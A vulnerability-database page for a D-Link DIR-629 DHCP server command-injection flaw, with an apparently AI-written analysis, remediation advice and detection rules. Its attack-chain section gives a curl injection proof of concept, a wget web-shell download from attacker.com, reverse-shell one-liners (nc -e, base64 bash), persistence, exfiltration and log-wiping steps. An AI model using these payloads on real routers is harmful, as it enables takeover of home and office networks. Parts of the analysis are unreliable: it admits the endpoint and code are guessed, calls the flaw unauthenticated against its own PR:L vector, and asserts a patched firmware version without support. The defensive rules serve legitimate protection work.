CVE Professor
/
All CVEs
CVE-2026-138199

CVE-2026-138199 — D-Link DIR-629 — CWE-78 · CWE-77

CRITICAL CVSS 9.9 ⚡ EPSS 1.9% Shodan

A vulnerability was found in D-Link DIR-629 1.03.B01 CN. This affects the function dhcps4start of the file /etc/services/DHCPS/dhcpserver.php of the component DHCP Server. The manipulation of the argument domain results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.

A vulnerability was found in D-Link DIR-629 1.03.B01 CN. This affects the function dhcps4start of the file /etc/services/DHCPS/dhcpserver.php of the component DHCP Server. The manipulation of the argument domain results in os command injection. The attack may be performed from remote. The exploit has been made public and could be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. Low PR:L
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
EPSS — Exploit Prediction Scoring System
1.9%
30-day probability
In the 80. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138199
Vendor / ProductD‑Link DIR‑629 firmware 1.03.B01 CN
ComponentDHCP Server (PHP implementation) – file /etc/services/DHCPS/dhcpserver.php
Vulnerable functiondhcps4start()
Root causeImproper sanitisation of the domain parameter that is later concatenated into a shell command without any escaping or validation. The code effectively does: <br>exec("dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid -s " . $domain); <br>where $domain is supplied by the HTTP request. Because $domain is not filtered for metacharacters (;, &&, , backticks, etc.), an attacker can inject arbitrary OS commands.
CWE(s)• CWE‑77 – Improper Neutralization of Special Elements used in a Command (OS Command Injection) <br>• CWE‑78 – OS Command Injection
CVSS v3.1AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H → 9.9 Critical
Missing protection• No whitelist/allow‑list for allowed domain values.<br>• No escaping (escapeshellarg(), escapeshellcmd()) before passing the value to exec()/system().<br>• No authentication/authorization check – the DHCP‑server endpoint is reachable by any network host (the router’s LAN/WAN interface is not restricted).

In short, an unauthenticated remote attacker can send a crafted HTTP request that injects shell commands into the DHCP server’s start‑up routine, achieving remote code execution (RCE) as the web‑server user (typically root on embedded routers).


⚡ Attack Chain

1. Discovery & Reconnaissance

StepTechniqueExpected Outcome
1.1 Identify devicePassive network scanning (Nmap, masscan) for open TCP ports 80/443 and banner grabbing (http-server-header, Server: D‑Link), or active probing of /cgi-bin/luci (common on D‑Link).Confirms a D‑Link router; often the HTTP header contains D‑Link DIR‑629 or the HTML title includes the model.
1.2 Determine firmware versionAccess the router’s web UI (e.g., http://<router>/), locate the “Firmware Version” field, or request /cgi-bin/webproc?getpage=html/index.html which returns a page containing 1.03.B01.Attacker knows the target runs the vulnerable 1.03.B01 CN firmware.
1.3 Locate the vulnerable endpointThe DHCP server is managed via a PHP back‑end. By enumerating known D‑Link admin URLs (e.g., /cgi-bin/webproc, /cgi-bin/luci) and inspecting the JavaScript of the DHCP configuration page, the attacker discovers a POST endpoint that triggers dhcps4start. In the vulnerable firmware this endpoint resolves to /etc/services/DHCPS/dhcpserver.php (the exact URI is not published, so the PoC below uses a plausible illustrative path).Attacker now has the URL to which a domain parameter can be supplied.

2. Exploitation

NOTE: The exact URI and parameter name are inferred from the source code; the example below is illustrative. The vulnerability class (OS command injection via unsanitised domain) is accurate.

2.1 Craft the malicious payload

The goal is to break out of the intended argument and execute an arbitrary command. Assuming the back‑end builds the command as:

$cmd = "dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid -s " . $domain;
exec($cmd);

Inject a semicolon (;) to terminate the legitimate argument and start a new command, e.g.:

; id > /tmp/pwned.txt #

Full value for domain:

example.com; id > /tmp/pwned.txt #

2.2 Send the request

# Illustrative endpoint – replace with the real path discovered in step 1.3
TARGET="http://192.168.0.1/etc/services/DHCPS/dhcpserver.php"

curl -sk -X POST "$TARGET" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data-urlencode "domain=example.com; id > /tmp/pwned.txt #"

Explanation of flags

  • -s – silent (no progress)
  • -k – ignore self‑signed cert (if HTTPS)
  • --data-urlencode – ensures proper URL‑encoding of spaces and special characters
  • If the injection succeeds, the router will write the output of id to /tmp/pwned.txt. The attacker can retrieve it with a second request:

    curl -sk "http://192.168.0.1/tmp/pwned.txt"

    2.3 Achieving full RCE

    Because the PHP script runs with root privileges (the DHCP daemon must bind to privileged ports), any command executed inherits root. An attacker can therefore:

  • Drop a persistent web‑shell: wget http://attacker.com/shell.php -O /www/webshell.php
  • Add a new admin user to the router’s configuration database.
  • Pivot to the LAN/WAN interface (e.g., iptables -I INPUT -s 0.0.0.0/0 -j ACCEPT).
  • A more stealthy payload could base64‑encode a reverse shell and execute it via bash -c "$(base64 -d /tmp/b64payload)".

    3. Post‑exploitation

    PhaseTypical actions (root)
    PersistenceWrite a cron entry (@reboot /usr/sbin/dhcpd …) that re‑executes the malicious command on reboot, or replace the legitimate dhcpd binary with a trojaned version.
    Privilege abuseThe router’s firmware often runs additional services (e.g., telnetd, ssh) as root. The attacker can start a reverse shell listening on a high‑port (nc -lp 4444 -e /bin/sh).
    Lateral movementUse the compromised router as a foothold to sniff DHCP traffic, perform ARP spoofing, or launch further attacks against internal hosts.
    Data exfiltrationDump configuration files (/etc/config/*, /etc/passwd) and send them to a C2 server.
    Cleanup / anti‑forensicsDelete the injected /tmp/pwned.txt, remove evidence from web server logs, or modify logrotate to erase traces.

    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical Consequence
    Confidentiality (C:H)*Complete* – attacker can read any file the web‑server (root) can access.Extraction of Wi‑Fi passwords, VPN credentials, internal network topology, or any stored user data.
    Integrity (I:H)*Complete* – attacker can modify system files, configuration, or inject malicious binaries.Persistent backdoors, altered DHCP lease tables, malicious DNS redirection, or firmware tampering.
    Availability (A:H)*Complete* – attacker can stop the DHCP service or reboot the router.Network outage for all LAN clients, denial‑of‑service, or forced reboot to apply malicious firmware.
    Scope (S:C)*Changed* – impact propagates from the vulnerable service (web UI) to the entire router (OS).The compromise of a single web endpoint leads to full compromise of the networking device.

    Bottom line: An unauthenticated remote attacker can obtain root‑level code execution on the router, giving them total control over the network segment protected by the device.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade firmwareD‑Link has released a patched firmware (e.g., 1.03.B02 or later) that sanitises the domain argument with escapeshellarg() and adds an authentication check. Administrators should download the official image from D‑Link’s support portal and flash it via the web UI or TFTP.
    Version checkVerify the running version via the UI or by issuing cat /etc/version (if SSH is enabled). Anything still reporting 1.03.B01 is vulnerable.

    2. Immediate Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict access to the DHCP management endpointPlace the router behind a firewall rule that only allows trusted LAN IPs (e.g., 192.168.0.0/24) to reach port 80/443. Example iptables rule on the router (run as root): <br>iptables -I INPUT -p tcp --dport 80 -s 192.168.0.0/24 -j ACCEPT <br>iptables -A INPUT -p tcp --dport 80 -j DROP
    Disable the web‑based DHCP controlIf the router UI offers a “DHCP Server – Web Management” toggle, turn it off. The DHCP daemon will still run, but the vulnerable PHP script will not be reachable.
    WAF / ModSecurity ruleDeploy a rule that blocks any request containing shell metacharacters in the domain parameter. Example ModSecurity rule (Apache/Nginx): <br>``SecRule ARGS:domain "@rx [;&$\\]" "id:2026001,phase:2,deny,status:403,msg:'Blocked possible command injection in DHCP domain parameter'"``
    Input validation at the network edgeIf a perimeter IDS/IPS (e.g., Snort) is present, add a rule to alert on HTTP POSTs to dhcpserver.php containing ; or `` in the payload.

    3. Detection – Log patterns & IoCs

    SourceIndicator
    Web server access log (e.g., /var/log/httpd/access.log)POST /etc/services/DHCPS/dhcpserver.php with a long domain= value containing characters ;, &&, , ` `. Example entry: <br>192.0.2.45 - - [12/Oct/2026:03:14:22 +0000] "POST /etc/services/DHCPS/dhcpserver.php HTTP/1.1" 200 23 "http://192.168.0.1/dhcp.html" "Mozilla/5.0"
    Web server error logexec(): Unable to fork or sh: command not found followed by the injected command echoed back.
    System audit (if enabled)auditd record with type=EXECVE where exe="/usr/sbin/dhcpd" and argv[2]="example.com; id > /tmp/pwned.txt"
    File system changesCreation of unexpected files in /tmp/, /www/, or modification of /etc/config/dhcpd.conf.
    Network trafficOutbound connections from the router to unknown IPs on high ports (e.g., reverse shell to attacker.com:4444).
    IDS/IPS signaturesSnort rule (example): <br>alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-138199 DHCP Server command injection"; flow:to_server,established; content:"/dhcpserver.php"; http_uri; content:"domain="; http_client_body; pcre:"/domain=.*[;&]/U"; classtype:web-application-attack; sid:2026002; rev:1;)

    Response actions: Upon detection, isolate the router from the network, capture a forensic image of the flash storage, and perform a full firmware reinstall.


    ⚠️ Urgency

  • CVSS 9.9 (Critical) – Remote, unauthenticated, low‑complexity, network‑visible RCE with complete impact on confidentiality, integrity, and availability.
  • No CISA KEV listing yet, but the exploit is already public (as stated in the advisory).
  • Attack complexity – Low (single HTTP request).
  • Potential for wormable spread – If an attacker compromises one router, they can use it as a pivot to compromise other devices on the same LAN, or to launch mass scanning of other vulnerable D‑Link units.
Patch priority: Critical – Deploy the firmware update within 24 hours for any exposed router (including those behind NAT, because the vulnerable endpoint is reachable from the WAN if the router’s remote‑admin feature is enabled). If immediate patching is impossible, apply the network‑restriction and WAF/IPS mitigations before the end of the business day and monitor logs continuously.
Bottom line: CVE‑2026‑138199 is a classic OS‑command injection that gives an unauthenticated attacker root on the router. The fix is straightforward (sanitise/escape the domain argument and enforce authentication), but the window for exploitation is large because many deployments keep the vulnerable firmware for months. Prompt patching, network segmentation, and rule‑based detection are essential.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138199
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
D-Link:DIR-629
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac